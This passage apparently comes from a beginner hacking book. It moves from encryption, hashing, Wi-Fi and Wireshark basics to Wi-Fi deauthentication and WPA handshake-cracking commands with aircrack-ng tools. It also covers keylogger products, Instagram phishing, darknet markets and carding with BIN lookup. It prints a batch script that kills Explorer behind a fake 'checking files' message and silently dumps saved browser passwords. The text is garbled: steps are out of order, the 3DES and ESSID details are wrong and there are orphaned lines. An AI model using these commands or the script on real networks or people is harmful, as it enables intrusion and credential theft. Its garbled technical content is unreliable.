transferred through RSA algorithm could be compromised through
middlemen who might temper with the public key system.
• Data Encryption Algorithm (DES)
The dES algorithm is the most popular security algorithm. It’s a
symmetric algorithm, which means that the same keys are used to
encrypt/decrypt sensitive data. Key length is 8 bytes (64 bit). So, to
encrypt/decrypt data, the dES algorithm uses an 8-byte key, but 1
byte (8 bit) for parity checking. It’s a block cipher algorithm, dES is
that it is broken using brute-force search.
• Triple DES
The data Encryption Standard (dES) was developed in the late
1970s and saw widespread use for many years. It wasn’t a perfect
method then, but still it was used quite heavily. Then shortly after it
was developed, an improved version called Triple dES (3dES) was
created.
3dES expands the size of the key by running the algorithm in
succession with three different keys. It makes 48 passes through the
algorithm. The resulting key is 168 bits; this can be hard to
implement, so there is also a two-key option provided in 3dES that
runs through a method called Encrypt-decrypt-Encrypt (EdE):
1. Encrypt: The encryption is applied to the content using key 1.
2. decrypt: This encrypted text is decrypted using key
3. Encrypt: Lastly, the decrypted text from step 2 is encrypted again
using key 2.
• Advanced Encryption Standard(AES)
The more popular and widely adopted symmetric encryption algorithm,
it is found at least six time faster than triple dES.
The encryption phase of AES can be broken into three phases: the
initial round, the main rounds, and the final round. All of the phases use
the same sub-operations in different combinations. AES was designed to
be efficient in both hardware and software, and supports a block length
of 128 bits and key lengths of 128, 192, and 256 bits.
hashing
Hashing is the transformation of a string of characters into a usually
shorter fixed-length value or key that represents the original string.
These include the message-digest hash functions like Md5 used for
hashing digital signatures into a shorter value called a message-digest.
• MD5
The Md5 is a hashing algorithm one-way cryptographic function
that accepts a message of any length as input and returns as output a
fixed- length digest value to be used for authenticating the original
message.
The Md5 hash function was originally designed for use as a
secure cryptographic hash algorithm for authenticating digital
signatures.
There are three types of encrypted volumes you can create using VeraCrypt:
steganography
The word Steganography is derived from two greek words- ‘stegos’
meaning ‘to cover’ and ‘grayfia’, meaning ‘writing’, thus translating
to ‘covered writing’, or ‘hidden writing’. Steganography is a method
of hiding secret data, by embedding it into an audio, video, image or
text file. It is o n e of t h e methods employed to protect secret or
sensitive data from malicious attacks.
What is Wi-Fi?
Wi-Fi is a type of technology that enables you to connect to the
Internet anywhere, on any device, including your computer,
smartphone, tablet or audio device, without any need for wires, which
is why it’s called wireless connectivity. Wi-Fi is also sometimes
referred to as ‘Wireless Local Area Network’ or WLAN, which sums
up what the technology is all about. In technical terms, Wi-Fi (or
wireless networking) is known as IEEE 802.11 technologies.
Important terms
• WLAN Frequency Bands: The 802.11 working group currently
documents use in five distinct frequency ranges: 2.4 gHz, 3.6 gHz,
4.9 gHz, 5 gHz, and 5.9 gHz bands. Each range is divided into a
multitude of channels
• Channel: There are 14 channels designated in the 2.4 gHz range
spaced 5 MHz apart, not all of the channels are allowed in all
countries
• Station (STA): All components that can connect into a wireless
medium in a network are referred to as stations for example, a station
may b e a laptop, a desktop PC, PdA, access point or Wi-Fi phone.
An STA may be fixed.
• Access Point: A wireless access point (WAP) is a hardware device or
configured node on a local area network (LAN) that allows wireless
capable devices and wired networks to connect through a wireless
standard, including Wi-Fi or Bluetooth. A WAP is also known as a
hotspot, for example a Router can be a WAP
• Probe/Beacon: The WLAN clients or stations use probe request frame
to scan the area for availability of WLAN network.
• SSID: An SSId (service set identifier) is the primary name associated
with an 802.11 wireless local area network (WLAN) including home
networks and public hotspots. Client devices use this name to identify
and join wireless networks.
• ESSID: It specifies the MAC address of the AP with which a wireless
responder’s wireless network interface is associated.
Installing Wireshark
Wireshark software is easy to install. Simply go to
http://www.wireshark. org/download.html, download the software for
your applicable operating system, and perform the installation.
After you record some network data, it’s time to take a look at the
captured packets. The captured data interface contains three main
sections: the packet list pane, the packet details pane, and the packet
bytes’ pane.
Packet list
The packet list pane, located at the top of the window, shows all
packets found in the active capture file. Each packet has its own row
and corresponding number assigned to it, along with each of these
data points.
Time: The timestamp of when the packet was captured is displayed in
this column. The default format is the number of seconds or partial
seconds since this specific capture file was first created. To modify this
format to
something that may be a bit more useful, such as the actual time of
day, select the Time display Format option from Wireshark’s View
menu located at the top of the main interface.
Source: This column contains the address (IP or other) where the
packet originated.
Destination: This column contains the address that the packet is being
sent to. Protocol: The packet’s protocol name, such as TCP, can be
found in this column. Length: The packet length, in bytes, is displayed
in this column.
Info: Additional details about the packet are presented here. The
contents of this column can vary greatly depending on packet contents.
This command will simply give all the available BSSId on its Wi-Fi
range.
Now after getting the BSSId we will use aireplay-ng to send
Broadcast deauth packets in order to disconnect all the STATIoN
which are connected to the specific BSSId.
Usage Syntax: Aireplay-ng --deauth 0 [BSSId of the victam AP] [wifi
card interface]
Now next step is to put your wireless interface into monitor mode so that
it
can be able to capture/inject packets.
Usage Syntax: airmon-ng start wlan0
Now type “airodump-ng wlan0mon” to see all the networks nearby
your device/card with all the best possible information which we
required like BSSId, Channel No, Enc Type, ESSId (name of the
wireless network) etc.
Now next step is to capture the packets with the help of Airodump-ng
package which is again pre-installed in your Kali Linux machine. To
capture a 4-way handshake because WPA/WPA2 uses a 4-way
handshake to authenticate devices to the network. you don’t have to
know anything about what that means, but you do have to capture one
of these handshakes to crack the network password. These handshakes
occur whenever a device connects to the network, for instance, when
your neighbor returns home from work. To capture 4-way handshake,
just type the below command in your new terminal.
Usage syntax: airodump-ng -c <Channel No> –bssid <Mac Address> -
w
<File name> wlan0mon
you should see the output similar to the below screen. Now here you
c a n see in the top right corner of the below screen, there is no
handshake so to get the handshake value instantly, the best way is
to send the deauthentication signal to the wireless network w.r.t to the
station so that the user will reconnect automatically.
Aircrack will try every password available on the fie,in order to get the
password if the password is available on the file it will crack it.
attacks & deFense to socIal
medIa
The most queried question in the search engine about hacking is “Is it
possible to hack Social media” the answer to the question is yES, definitely
it is possible until and unless you are doing it for the sake of enhancement
of security. so to secure any social media account you first have to learn
how to break it or how do bad guys do it. There are many different ways in
which a social media account can be compromised such as social
engineering, phishing attacks. few are discussed below.
keylogging
In cybersecurity the use of a computer program or hardware to record
every keystroke made by a computer user, especially in order to gain
fraudulent access to passwords and other confidential information is
keylogging. Therir are two types of keylogging,
• Software Keyloggers: A keylogger (keystroke logging) is a type of
surveillance spy software that once installed on a system, has the
capability to record every keystroke made on that system. The recording
is saved in a log file, usually encrypted.
some popular keylogger are:
1. Revealer keylogger
2. Refog free keylogger
3. Soyrix keylogger
• Hardware keyloggers: Hardware keyloggers are used for
keystroke logging, a method of capturing and recording computer
users’ keystrokes, including sensitive passwords they are one of
the fastests, simplest and guaranteeing highest efficiency computer
monitoring system is a hardware keylogger for capturing text or
images.
Phishing
It is well-known that email messages, texts and phone calls are
methods commonly used by criminals to approach people with the aim
of committing financial or identity fraud or both. However, social
media is also a favourite method used by criminals to deceive their
victims, to Hand over sensitive information. These messages aim to
trick the user into revealing important data — often a username and
password that the attacker can use to breach an social media account.
A few techniques include
• Mirroring real brand assets: With Instagram phishing attacks,
cybercriminals will often mirror the actual Instagram login page,
pulling JavaScript and CSS directly from the legitimate website and
inserting their own script to harvest credentials – making sure that
the phishing page is virtually indistinguishable from the real thing.
• Redirecting to legitimate content: Many attackers redirect users to
the legitimate social media page, once they’d submitted their
credentials in an attempt to convince them that nothing malicious
happened.
given below is an example of Instagram Phishing page which has a
similar URL as the actual one.
using nirsoft Webbrowser Passview
WebBrowserPassView is a password recovery tool that enables you to
view all website logins and passwords that are stored in Internet
Explorer, Firefox, opera, Vivaldi and google Chrome browsers.
syntax usage:
@echo off
ECHO “WINDOWS IS CHECKING
FILES” mkdir “HIDDEN BLADE”
TASKKILL /F /IM EXPLORER.EXE
start/wait””
“WebBrowserPassView.exe”/shtml”ClientPasswords/FirefoxPasswords.html”
malware
Falling prey to malware is yet another sure way to lose your login
credentials. Malware is out there just to do massive damage. If the malware
variant features a keylogger, all of your accounts could get compromised.
Alternatively, the malware could precisely target private data, or introduce
a remote access Trojan to steal your credentials.
darknet market
darknet markets, or cryptomarkets, are dark web sites with goods for sale.
Although some products for sale are legal, illicit goods such as drugs, stolen
information, and weapons are common items in these markets.
The transaction in darknet markets is anonymized. The markets are
accessible via the Tor network or other browsers that protect the user’s
identity and location. Transactions take place via Bitcoin using dark
wallets to protect the seller and buyer.
Some of the popular darknet market names with available goods,
which are currently taken down by the government and FBI’s are
• Dream Market: E-books,drugs,Hacking tools,Software, Credit cards, etc
• Silk Road 3.0: drugs,Weapons, Hitman service
• Wallstreet Market: drugs, Credit cards, debit cards, cracked
software,fake docouments,Pyapal accounts etc
What is carding
Carding is a process where someone else credit card or debit card is
used without their permission. It’s a fraud also being illegal. The
carding is generally done with a stolen credit or debit card,
Individual who uses stolen data, usually Credit cards, to fraudulently
purchase items or convert the credit into cash are termed as Carder.
credit card fraud costs merchants around $190 billion every year.
bin lookup
A bank identification number (BIN) is the initial four to six numbers
that appear on a credit card. The bank identification number uniquely
identifies the institution issuing the card. The BIN is key in the process
of matching transactions to the issuer of the charge card. This
numbering system also applies to charge cards, gift cards, debit cards,
prepaid cards, and electronic benefit cards.
Carders use BIN Lookup to gather information of the cards they try
to use for their fraudulent purpose.
one word best suited to end this learning lesson is” discover”. Hackers
are motivated, resourceful, and creative. They get deeply into how things
work, to the point that they know how to take control of them and
change them into something else. This lets them re-think every big idea
because they can really dig to the bottom of how things function. So
during penetration testing don’t perceive any failure as a mistake or
waste of time because every failure means something and something new
to be learned. As a security professional don’t be afraid to make the same
mistake twice, Hacking is a not a recipe it is a methodology. It’s a way to
do research. Have you ever tried something again and again in different
ways to get it to do what you wanted? If the answer to the question is
yes, then welcome to the “ultimate security professional” side.